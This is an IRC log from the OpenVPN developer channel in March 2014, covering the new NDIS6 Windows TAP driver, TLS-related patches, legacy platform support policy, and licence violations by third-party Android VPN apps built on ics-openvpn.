[~funnel@unaffiliated/espiral] has quit [Read error: Connection reset by peer] 19:02 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 19:03 -!- funnel [~funnel@unaffiliated/espiral] has quit [Read error: Connection reset by peer] 19:09 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 19:09 -!- siruf [siruf@unaffiliated/motley] has joined #openvpn-devel 19:16 -!- funnel [~funnel@unaffiliated/espiral] has quit [Read error: Connection reset by peer] 19:17 -!- siruf [siruf@unaffiliated/motley] has quit [Read error: Connection reset by peer] 19:17 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 19:17 -!- siruf [siruf@unaffiliated/motley] has joined #openvpn-devel 19:23 -!- funnel [~funnel@unaffiliated/espiral] has quit [Ping timeout: 252 seconds] 19:23 -!- siruf [siruf@unaffiliated/motley] has quit [Ping timeout: 246 seconds] 19:24 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 19:24 -!- siruf [siruf@unaffiliated/motley] has joined #openvpn-devel 19:26 -!- siruf [siruf@unaffiliated/motley] has quit [Read error: Connection reset by peer] 19:26 -!- funnel [~funnel@unaffiliated/espiral] has quit [Read error: Connection reset by peer] 19:30 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 19:30 -!- siruf [siruf@unaffiliated/motley] has joined #openvpn-devel 19:35 -!- funnel [~funnel@unaffiliated/espiral] has quit [Read error: Connection reset by peer] 19:35 -!- siruf [siruf@unaffiliated/motley] has quit [Write error: Connection reset by peer] 19:57 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 19:57 -!- mode/#openvpn-devel [+o plai] by ChanServ 19:58 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 240 seconds] 19:58 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 20:04 -!- funnel [~funnel@unaffiliated/espiral] has quit [Read error: Connection reset by peer] 20:11 -!- ibins [~ibins@dslb-084-056-092-240.pools.arcor-ip.net] has joined #openvpn-devel 20:17 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 20:23 -!- funnel [~funnel@unaffiliated/espiral] has quit [Read error: Connection reset by peer] --- Day changed Wed Mar 12 2014 02:50 -!- mattock_afk is now known as mattock 05:00 -!- nightcracker [~nightcrac@535511B1.cm-6-6a.dynamic.ziggo.nl] has joined #openvpn-devel 05:27 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 05:34 -!- funnel [~funnel@unaffiliated/espiral] has quit [Ping timeout: 264 seconds] 05:35 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 05:41 -!- funnel [~funnel@unaffiliated/espiral] has quit [Ping timeout: 245 seconds] 05:42 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 05:43 -!- funnel [~funnel@unaffiliated/espiral] has quit [Read error: Connection reset by peer] 05:46 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 05:52 -!- funnel [~funnel@unaffiliated/espiral] has quit [Read error: Connection reset by peer] 05:53 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 05:58 -!- funnel [~funnel@unaffiliated/espiral] has quit [Ping timeout: 252 seconds] 05:59 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 06:04 -!- funnel [~funnel@unaffiliated/espiral] has quit [Ping timeout: 245 seconds] 06:10 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 06:10 -!- funnel [~funnel@unaffiliated/espiral] has quit [Read error: Connection reset by peer] 07:49 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 08:01 -!- Irssi: #openvpn-devel: Total of 17 nicks [11 ops, 0 halfops, 1 voices, 5 normal] 09:44 <@ecrist> plai: what's the URL for your openvpn app? 09:49 <+krzee> im not plai, but its https://play.google.com/store/apps/details?id=de.blinkt.openvpn 09:49 <@ecrist> is it open source? if so, where's the repo? 09:50 <+krzee> http://code.google.com/p/ics-openvpn/source/checkout 09:50 <@vpnHelper> Title: Source Checkout - ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 09:50 <+krzee> (2 clicks from the url i gave) 09:51 <+krzee> although non-obvious clicks 09:51 <+krzee> "Visit Developer's Website" 09:52 <+krzee> i like that he has "If you cannot or do not want to use the Play Store you can download the apk files directly." 10:42 <@plai> ecrist: what krzee said 13:19 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 13:35 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 14:12 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 15:08 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 15:08 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 16:36 -!- dazo is now known as dazo_afk 16:41 -!- mattock is now known as mattock_afk 16:47 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 16:47 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 17:25 < nightcracker> is there anyone here that knows his way around the internals of TAP-win32? 17:26 < nightcracker> I have a problem, I'm using a TAP-win32 network adapter (2 to be specific), and I can read ethernet frames sent to it just fine, however trying inject ethernet frames (writing to the adapter) doesn't seem to work (if I inspect the activity received/sent, received stays on 0) 18:44 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 18:44 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 18:47 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 19:13 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 19:33 -!- cron2_ [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 265 seconds] 19:49 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 265 seconds] 20:06 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 20:07 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 20:17 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 20:28 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 20:28 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Thu Mar 13 2014 01:53 -!- mattock_afk is now known as mattock 03:25 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 03:25 -!- mode/#openvpn-devel [+o cron2] by ChanServ 03:31 <@plai> nightcracker: sorry, most developers here are mostly using unix for development 03:31 <@plai> Especially the tun/tap driver for windows is a black box most developers don't touch 03:32 <@cron2> James is supposedly working on a new version... 03:32 <@plai> cron2: the NDIS5 won't be supported thing, right/ 03:32 <@cron2> what does "supported" mean in this context? 03:33 <@plai> plai: IIrc Microsoft will drop NDIS5 (which our driver depends on) in the near future 03:34 <@cron2> ah, that way. Yes, eventually NDIS5 will go away, and also people claim that on win7/8 ndis5 is slower than "whatever is current" 03:39 <@mattock> yep, NDIS 5 is being emulated on later Windows afaik 03:39 <@mattock> and yes, the new driver is on it's way 04:02 < nightcracker> plai: I figured it out - the problem was that I was debugging purely local - you need communicate with an external machine, two virtual network devices doesn't work 05:25 -!- dazo_afk is now known as dazo 07:44 <@plai> In preperation of the session in the packet stuff I added a roam without reconnect mode to ics-openvpn :) 07:45 <@plai> With static keys and float it already works \o/ 08:43 <@dazo> syzzer: mattock: There was some question on #openvpn today regarding the tripple handshake issue found in TLS ... have we had time to investigate how this hits openvpn? (I think we've agreed so far that openvpn is most likely not affected, but we should probably do something more thoroughly) ... is this something we could make James also look into? 09:15 <@mattock> dazo: I'll ask James 11:34 <@pekster> fwiw, there are some forks of tap-Win32 floating around; one project was putting IPv6 support in before the official releases got it, so there is some occational developer use-cases; most are happy to ignore it, I'm sure 12:48 <@cron2> pekster: meh. It would have been so helpful if they had contributed it back, so I didn't have to dirty my hands on it... 14:51 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 16:33 <@pekster> True. I was looking for something else and just stumpled across some github (I think) project, 3 years abandonded 17:04 -!- mattock is now known as mattock_afk 17:19 -!- dazo is now known as dazo_afk 18:45 -!- siruf [~siruf@unaffiliated/motley] has quit [Write error: Connection reset by peer] --- Day changed Fri Mar 14 2014 03:04 -!- mattock_afk is now known as mattock 03:24 <@mattock> tap-windows NDIS 6: https://github.com/OpenVPN/tap-windows6.git 03:24 <@vpnHelper> Title: OpenVPN/tap-windows6 · GitHub (at github.com) 03:31 <@d12fk> mattock: nice 03:31 <@mattock> this also means I have to take a dip in Visual Studio, NSIS and all that once again 03:31 <@mattock> we definitely need an openvpn 2.3.2 (or 2.3.3) installer with the NDIS 6 driver 03:43 <@mattock> has anyone stumbled on DroidVPN: http://droidvpn.com/page/where-can-i-get-the-configuration-file-certificate-and-key-of-droidvpn-4/ 03:44 <@vpnHelper> Title: Where can I get the configuration file, certificate and key of DroidVPN? - DroidVPN (at droidvpn.com) 03:44 <@mattock> they claim they're not using OpenVPN, but I think I'll dig a bit deeper 03:44 <@mattock> looks suspiciously like "yet another OpenVPN service provider" + custom client installer 03:53 <@mattock> ok, it might actually be a proprietary protocol 04:11 -!- nightcracker [~nightcrac@535511B1.cm-6-6a.dynamic.ziggo.nl] has quit [Quit: Ik ga weg] 04:18 <@plai> mattock: yeah 04:19 <@plai> mattock: That what I got too 04:20 <@plai> mattock: oh cool 04:21 <@plai> mattock: did openvpn inc pay someone to get this driver? 04:22 <@plai> s/somone/TDivine/ 04:26 <@mattock> yep 04:26 <@plai> great that OpenVPN Inc still opensoureces it 04:28 <@mattock> yep 04:32 <@cron2> mattock: did James program it, or someone else? 04:32 <@mattock> it was a Divine intervention 04:32 <@cron2> (and indeed, open sourcing it again is appreciated) 04:33 <@mattock> James had his plate full all the time, so we decided to outsource the development 04:33 <@mattock> the guy who wrote the driver (T. Divine) is apparently really good 04:34 <@mattock> like specialist in Windows network driver programming 04:36 <@cron2> cool 05:39 <@syzzer> wow, nice! 05:39 -!- dazo_afk is now known as dazo 05:42 <@syzzer> dazo, mattock: I'll try answering Abdullah's email, for as far as I can 05:43 <@mattock> syzzer: ok 05:43 <@syzzer> even though, It would we good if James took a look at it too 05:43 <@mattock> I'll mention the mail to Jaems 05:43 <@mattock> james 05:43 <@syzzer> ok, good 05:47 <@mattock> sent 05:49 <@plai> Urgh 05:50 <@plai> someone send an very long email to me and android@Openvpn.net 05:50 <@plai> and skimming through it it is already half nonsense 05:50 <@mattock> lol 05:51 <@mattock> so you're halfway through, and everything so far is nonsense? :P 05:51 <@plai> Firstly, are either of your products a vpn service in and of itself? 05:51 <@plai> (#2) Does your app have, or support, exclusive tunnelling? If not, why not? Is it that the vpn is still subject to the limitations of PPTP or L2TP somehow? 05:52 <@plai> The problem with Hideninja is that it lacks exclusive tunnelling, and is occasionally unstable ( 05:52 <@plai> why the hell shold I care? 05:53 <@plai> apart from the point that Hideninja stole my code 05:55 <@mattock> wft? 05:55 <@mattock> I'd say that's near 100% nonsense 05:56 <@plai> I can forward you the email if you like :) 05:56 <@mattock> yeah, do that :D 05:56 <@plai> email? 05:56 <@mattock> yeah, send it to my openvpn.net address 05:57 <@mattock> samuli at domain in case that was what you were asking :) 05:57 <@plai> brb 05:57 <@plai> mail sent 05:57 <@plai> have fun :D 05:57 <@mattock> thanks! :) 05:57 <@plai> I have often got email with nonsense 05:57 <@plai> but never longer than like 5-10 lines 05:57 <@mattock> that's probably because you maintain the Android port 05:58 <@plai> and not three pages .... 06:06 <@mattock> that was entertaining :) 06:06 <@mattock> interesting character 06:06 <@mattock> he should use Tor 06:06 <@mattock> in this Orwellian, post-Snowden age one cannot trust any VPN providers 06:07 <@mattock> I like the sound of "exclusive tunneling"... sounds so... exclusive 06:07 <@mattock> just for me, nobody else 06:31 <@dazo> mattock: he should probably use OpenVPN over TOR to a OpenVPN server he controls, which connects to the rest of the world via TOR again ... and of course, only use HTTPS or other SSL based services :-P 06:31 <@mattock> yeah 06:32 <@mattock> but then again, how can you trust the endpoint of your connection? what if all the webservers and such are under NSA control? 06:32 * dazo wonders what kind of throughput its possible to achieve over such a setup ... 06:32 <@mattock> at least he couldn't hand out _any_ information about himself, which could be used to backtrack him 06:33 <@mattock> crummy, probably :) 06:33 <@dazo> heh .... well, on the Internet we're all screwed :) 06:33 <@dazo> but it doesn't mean it isn't fun making it difficult ... for the sake of having a new project :-P 06:33 <@mattock> yup 06:53 <@plai> mattock: you should write him back :D 06:53 <@plai> mattock: the mail is directed at @openvpn.net too ;) 09:46 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 264 seconds] 10:38 <@cron2> plai: what about that af_ cleanup patch of yours...? 10:46 <@plai> which one? 10:49 -!- mattock is now known as mattock_afk 10:49 <@plai> this one? 10:49 <@plai> https://github.com/schwabe/openvpn/commit/6fe5bc9bda25aadfdce62ebe37340e569b260c65 10:49 <@vpnHelper> Title: Clean up of socket code. · 6fe5bc9 · schwabe/openvpn · GitHub (at github.com) 10:49 <@plai> or that? 10:49 <@plai> https://github.com/schwabe/openvpn/commit/4244796028ba056a8d4c7e7c98021053e4e57ee4 10:49 <@vpnHelper> Title: Fix for server selecting address family · 4244796 · schwabe/openvpn · GitHub (at github.com) 10:50 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 11:29 <@plai> btw. the Lev Stipakov seems to have implemented the proposed packet format changes or a variant of it 11:29 <@plai> I had a private conversation with him about my android client and it 12:23 <@cron2> plai: any fixes you have brewing :-) 12:32 <@plai> 12:38 <@plai> we should reduce the Patches todo list :/ 12:39 <@cron2> true, but we still need to fix a few known bugs in master, like the --inetd crash, or the --multihome crash :) 12:39 * cron2 has hopes that the "clean up of socket code" will improve things there 12:40 <@cron2> (or at least it makes sense to go on bug hunting based on this) 13:20 <@plai> Yeah. the --multihome crash is fixed by that patch 13:20 <@plai> I still don't understand the inetd crash though 13:20 <@plai> my attempt at recreating it failed 13:20 <@plai> I fixed the --port-share crash though ... 13:34 <@cron2> oh, I didn't even know about that one :-) - as for the --inetd crash, I'm happy to investigate that one again (I sent you where it crashed, but likely that is code that already changed again) 14:15 -!- dazo is now known as dazo_afk 15:02 -!- pebble` [pebble@unaffiliated/espiral] has joined #openvpn-devel 15:03 -!- pebble` [pebble@unaffiliated/espiral] has left #openvpn-devel [] 15:23 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 15:23 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 18:56 -!- Netsplit *.net <-> *.split quits: @cron2 19:07 -!- 23LAATFBS [waldner@2a01:7e00::f03c:91ff:fe96:96f3] has joined #openvpn-devel 19:10 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 246 seconds] 19:21 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 19:21 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 19:26 -!- Netsplit *.net <-> *.split quits: 23LAATFBS 19:42 -!- siruf_ [~siruf@unaffiliated/motley] has joined #openvpn-devel 19:44 -!- siruf [~siruf@unaffiliated/motley] has quit [Write error: Connection reset by peer] 19:44 -!- siruf_ is now known as siruf 20:16 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 20:22 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 20:24 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 20:24 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Sat Mar 15 2014 08:22 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 08:22 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 14:46 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 23:36 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 265 seconds] --- Day changed Sun Mar 16 2014 00:13 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 00:13 -!- mode/#openvpn-devel [+o pekster] by ChanServ 03:03 -!- mickyz [~mickymaus@please-give-me.remoteaccess.me] has joined #openvpn-devel 03:10 -!- mickyz [~mickymaus@please-give-me.remoteaccess.me] has left #openvpn-devel [] --- Day changed Mon Mar 17 2014 03:30 <@cron2_> mornin' 03:30 -!- cron2_ is now known as cron2 03:33 <@cron2> syzzer around? 05:07 -!- dazo_afk is now known as dazo 05:20 <@syzzer> he is now =) 05:20 <@cron2> patch for review on the ML :) 05:20 <@cron2> James has spoken 05:20 <@syzzer> already sent an ACK 05:21 <@syzzer> his explanation is clear, the patch is simple and grepping through the OpenSSL code confirms this should disable TLS renegotiation / resumption. So I'm happy :) 05:33 <@cron2> syzzer: that was fast :) - thanks. I'll go merge 07:18 -!- Hes [WIS@tunkki.fi] has joined #openvpn-devel 07:22 <@plai> cron2: If you add it, can you update https://community.openvpn.net/openvpn/wiki/Patches? 07:22 <@vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 07:33 <@cron2> plai: I'll try to remember :) 07:40 <@plai> d12fk: I acked your max-routes patch prematurely it seems :/ 07:50 <@cron2> plai: what's wrong with it? 07:50 * cron2 stared at it as well, and it looked reasonable 07:52 <@plai> cron2: it quits when a max-routes is in the configuration 07:58 * plai add two more patches to the Patch list 08:02 <@cron2> plai: sounds not overly smart... did you send a fix already? 08:04 <@plai> cron2: yes 08:04 <@plai> our mailing list is not fastest 08:06 <@plai> oh 08:06 <@plai> gray listing got me 08:13 <@d12fk> plai: hm that was not intended 08:14 <@d12fk> why does it quit? is msglevel too high? 08:23 <@cron2> ah, there it is 08:24 * cron2 will have a busy evening :) 08:25 <@syzzer> cron2: while you're at it, there's also a build system patch from dazo waiting to be pushed ;) 08:25 <@syzzer> * iirc 08:30 <@cron2> let's see how far I'll get... 08:46 <@plai> d12fk: yeah. The default message level on parsing config files makes OpenVPN quit 08:47 <@d12fk> plai: bummer 13:29 <@cron2> plai: what other http proxy options are there? 13:30 <@cron2> (read source, withdraw question) 13:37 <@cron2> *sigh* 13:37 <@cron2> whatever version James' patch is based on, it doesn't apply... 13:40 <@cron2> *massage into shape* 13:44 <@cron2> (the "if (tls_version_min > TLS_VER_UNSPEC)" line in the context is different) 13:52 <@cron2> meh, ecrist rebooted my reference VM, so all tests are failing now :-o 14:01 <@ecrist> which one? 14:02 <@ecrist> cron2: that was a DC event. They migrated the server to another DC. 14:12 <@cron2> ecrist: and they can't do that without rebooting? That leaves room to improvement :-) 14:12 <@cron2> (but anyway, if all my test fails would be so easy to fix...) 14:14 <@vpnHelper> RSS Update - gitrepo: Set SSL_OP_NO_TICKET flag in SSL context for OpenSSL builds, to disable TLS stateless session resumption. <https://github.com/OpenVPN/openvpn/commit/25f4d4b49bff342fd9dd54cd22f14c9de49e9f8b> || Fix warning for max-routes: do not quit when parsing an old configuration. Format the message to be more like the other deprecated options <https://github.com/OpenVPN/openvpn/commit/4affd9c98636e6c83aad4f0e7859a29f66898b72 16:14 -!- dazo is now known as dazo_afk 20:34 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 245 seconds] 20:47 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Day changed Tue Mar 18 2014 06:46 -!- dazo_afk is now known as dazo 09:00 -!- mattock_afk is now known as mattock 09:20 <@plai> mattock: copyright violation++ 09:20 <@plai> https://play.google.com/store/apps/details?id=com.steganos.onlineshield 09:20 <@plai> about just says: based on ics-openvpn 09:20 <@mattock> plai: ok, adding to the list 09:20 <@mattock> I'll have to start teasing these people soon 09:22 <@mattock> plai: have they modified your GUI? 09:27 <@plai> mattock: yeah 09:28 <@mattock> I'll shoot them an email right now 09:28 <@plai> mattock: ask them politely for the source code of the UI 09:29 <@plai> since they have not bought a closed source license from me the UI has to be under GPLv2 ... 09:29 <@mattock> yeah 09:30 <@mattock> do you want me to mention that closed source licensing option? 09:30 <@mattock> I won't handle the details, but I can throw the bait in the water 09:31 <@plai> the doc/README.txt of my app has the following in it: 09:31 <@plai> You 09:31 <@plai> _CANNOT_ build a closed sourced custom UI application without acquiring a different 09:31 <@plai> (paid) license for UI code. 09:33 <@mattock> plai: where do they say it's based on your GUI? or is it just obvious from it's looks? 09:34 <@plai> mattock: in the about screen 09:34 <@plai> wait a sec 09:34 <@mattock> can you send me a screenshot? 09:35 <@plai> http://plai.de/.tmp/Screenshot_2014-03-18-15-33-39.png 09:35 <@plai> that is all about/licenses there is ... 09:35 <@plai> oh yeah and if you decompile the app you find classes like: 09:36 <@plai> ./de/blinkt/openvpn/core/DeviceStateReceiver.smali 09:40 <@plai> mattock: if you need a translation just shout 09:40 <@mattock> ok 09:40 <@mattock> I will CC you 09:40 <@plai> mattock: thanks 09:52 <@plai> (and the class names are changes that are like 1year after my bsd->gplv2 switch) 09:53 <@mattock> ah, ok, that may explain things 09:53 <@mattock> maybe they missed the license change 09:56 <@cron2> lol 09:56 <@cron2> mattock: you're so naive :-) - they just don't care. "It's free, just take it" 09:56 <@mattock> well, they've complied with the BSD license by mentioning that the code is based on "ics-openvpn" 09:57 <@mattock> there's absolutely no reason to do that, if you're stealing 09:57 <@mattock> in fact, better not to say that 10:00 <@plai> mattock: nah 10:00 <@plai> mattock: for the BSD license they would have to mention me 10:00 <@mattock> perhaps they didn't understand the BSD license? :P 10:00 <@mattock> in any case, let's see what the response is 10:01 <@plai> For the bsd license they would have to Copyright (C) 2013, Arne Schwabe 10:04 <@plai> mattock: you thought you would mention the GPL violation of OpenVPN itself 10:04 <@mattock> forgot all about that, was about to 10:04 <@plai> mattock: they have include the openvpn GPLv2 notice too 10:05 <@mattock> I think I'll mention that when they respond 10:06 <@plai> basically you have to include all licenses information which I have in my about screen 10:12 <@ecrist> plai: by my understanding, the BSD license only requires they not remove your name from your code header 10:13 <@plai> ecrist: 2. Redistributions in binary form must reproduce the above copyright notice 10:14 <@ecrist> or in the documentation 10:14 <@ecrist> # Redistributions in binary form must reproduce the above copyright 10:14 <@ecrist> # notice, this list of conditions and the following disclaimer in 10:14 <@ecrist> # the documentation and/or other materials provided with the distribution. 10:14 <@plai> yeah. 10:14 <@plai> sure 10:14 <@ecrist> the and/or is kinda key 10:14 <@plai> but for an android app is there no box or something where you can include a documentation 10:15 <@ecrist> their is, but the license doesn't require it be posted there 10:15 <@ecrist> it could be on their support webpage 10:16 <@plai> ecrist: they still ignored the GPL requirement of the shipped OPenVPN binary :) 10:17 <@ecrist> of course 10:17 <@ecrist> just illustrating how open the BSD license really is 10:19 <@plai> ecrist: I know 10:19 <@plai> But I think a link into a documentation on a website counts 10:20 <@plai> does not count 10:20 <@plai> argh 10:21 <@ecrist> if that's the "documentation", then why wouldn't it count? 10:21 <@ecrist> there's absolutely no language in the license that restricts it 10:21 <@plai> yeah but the keyword is I think "provided with the distribution" 10:21 <@ecrist> and is compiled java really a "binary"? 10:21 <@plai> ecrist: it is not source code 10:22 <@ecrist> correct 10:22 <@plai> ecrist: the 20 lines of jni code certainly are :) 10:22 <@ecrist> heh 10:31 <@plai> and the old version did not even a license in the about screen 10:31 <@plai> just my copyright 10:45 <@mattock> guys: should we should add a Wiki page describing why OpenVPN is not vulnerable to the "Triple Handshake attack"? 10:45 <@plai> funny 10:45 <@plai> the app even includes my app icon 10:45 <@mattock> cute guys 11:05 <@mattock> plai: "Guten Tag Samuli Seppänen, wir haben Ihre Nachricht erhalten. Vielen Dank, dass Sie sich an unser Support-Team gewandt haben. Wir werden Ihr Anliegen schnellst möglich bearbeiten und Sie direkt kontaktieren - wochentags in der Regel innerhalb von 36 Stunden und am Wochenende innerhalb von 72 Stunden." 11:07 <@ecrist> wat 11:11 <@d12fk> fcukin krauts 11:11 <@plai> ecrist: "Good day samuli Seppaennen, we we have received your message. Thanks for contacting our support team. We will handle your concern as fast as possible and will contact you directly - weekdays within 36 hours and at the weekend within 72 hours" 11:17 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 11:19 <@dazo> mattock: yes, a wiki explaining that would be good 11:20 <@dazo> mattock: that questions pops up from time to time nowadays ... so it's good to have something concrete to point at 11:42 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:42 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:18 <@mattock> dazo: ok, I'll hack together something and then you can modify it if needed 12:53 * plai sees dazo is wearing the Red Hat on openvpn-devel@ 12:54 <@dazo> heh ... not intentionally :) 12:54 <@dazo> But James was very vocal on the point of RHEL4 support earlier 12:54 <@plai> Yeah 12:54 <@plai> I can fully understand that from an OpenVPN Inc perspective 12:56 <@dazo> The alternative is that we need to support an older OpenVPN version in a longer lasting time window, to support those who don't want Access Server ... I think that's more work for us 13:01 <@plai> yeah 13:01 * plai is remindend of the guy who had 2.0 and did not want to upgrade in #openvpn 13:05 <@dazo> yeah 15:46 -!- dazo is now known as dazo_afk 16:56 -!- mattock is now known as mattock_afk --- Day changed Wed Mar 19 2014 01:03 -!- raidz is now known as raidz_away 02:25 -!- mattock_afk is now known as mattock 03:07 -!- dazo_afk is now known as dazo 03:16 -!- raidz_away is now known as raidz 05:05 -!- dazo is now known as dazo_afk 05:53 -!- dazo_afk is now known as dazo 09:28 <@syzzer> so, to take the #ifdef-discussion off-list a bit, do we have a policy on "what we support"? 09:41 <@dazo> syzzer: We probably don't have it written down anywhere, except some old meeting summaries ... but in the very beginning of this new community involved openvpn, James said that he expected RHEL4 to be supported (which includes other Linux platforms on similar kernel, glibc and openssl versions) ... and after some discussion we agreed that we'll keep the life cycle according to when Red Hat drops RHEL4 support 09:41 <@dazo> (which was sometime in early 2012) 09:41 <@dazo> and then it was RHEL5 which was the next "minimum requirements" 09:42 <@dazo> (2.6.18 kernel, openssl 0.9.8, I don't recall glibc right now) 09:43 <@dazo> the reasoning for RHEL was also that it's on of the most popular enterprise distros which is actually getting security patches whenever needed 09:44 <@syzzer> dazo: ah, ok. Thanks for the background :) 09:45 <@cron2> .oO(I always thought the reasoning for RHEL was that it's most convenient for dazo *duck* *run*) 09:45 <@dazo> hehehe 09:45 <@syzzer> how is the relation towards the distro's? for example, I guess RHEL5 has something way older then OpenVPN 2.3 in their packaging-system. 09:46 <@syzzer> or am I just wrong there? 09:46 <@dazo> yeah, in the official RH provided repos, it's openvpn 2.1 - something ... unless they updated it to 2.3 due to the CVE we got thrown into 09:46 <@dazo> but in EPEL, 2.3.2 is the latest one, afaik 09:47 <@dazo> in RHEL6, I don't think openvpn is available, except via EPEL 09:47 <@dazo> (it'll probably be the same for RHEL7 too) 09:48 <@syzzer> right, so there are actually maintained packages of the newest version available 09:48 <@dazo> yeah, the Fedora maintainer ensures that ... and I'm usually on Cc on openvpn bugzillas too 09:51 <@dazo> in addition, we have the official openvpn community repos too for RHEL+clones ... which mattock covers 09:53 <@syzzer> and we have build slaves for all of those too? 09:54 <@dazo> yeah, I believe so ... when think of it, RHEL+clones might only be for EL6, though ... mattock can fill in the details here 09:55 <@syzzer> yeah, I'm trying to figure out how I can determine what legacy stuff I can throw out ;) 09:55 <@dazo> heh ... I see :) 09:55 <@syzzer> and what needs to stay in, ofc 09:57 <@cron2> for 2.3, no functional reduction. for 2.4, out it goes :) 09:58 <@syzzer> One of the things I'd like to do for 2.4 is require OpenSSL 0.9.8 or newer 09:59 <@dazo> Makes sense to me 09:59 <@syzzer> then a number if "#ifdef OPENSSL_VERSION < 000907" can just be thrown out 09:59 <@syzzer> #ifdef -> #if 09:59 * dazo need to run 10:01 -!- dazo is now known as dazo_afk 10:40 <@plai> mattock: "We did not understood the GPL license" 10:42 <@cron2> syzzer: ack 10:42 <@cron2> "feature-ack", that is :) 10:55 <@plai> I have the feeling they confused the GPL license with the LGPL license 16:06 -!- mattock is now known as mattock_afk 22:46 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 22:47 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Mar 20 2014 02:58 -!- mattock_afk is now known as mattock 03:04 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Operation timed out] 03:16 <@cron2> moin 04:02 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:02 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:30 <@plai> cron2: moin 05:00 -!- dazo_afk is now known as dazo 05:15 <@mattock> hello everybody 05:15 <@mattock> plai: responded to the Steganos guy 05:25 <@plai> mattock: yeah me too 05:25 <@plai> bad timing I guess 06:01 <@mattock> yep 06:02 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 06:04 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 06:04 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 06:42 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 08:18 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:20 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:20 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:26 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 09:31 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 09:31 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 10:30 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 10:30 -!- mode/#openvpn-devel [+o andj] by ChanServ 13:13 -!- dazo is now known as dazo_afk 15:15 -!- mattock is now known as mattock_afk 19:36 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 245 seconds] 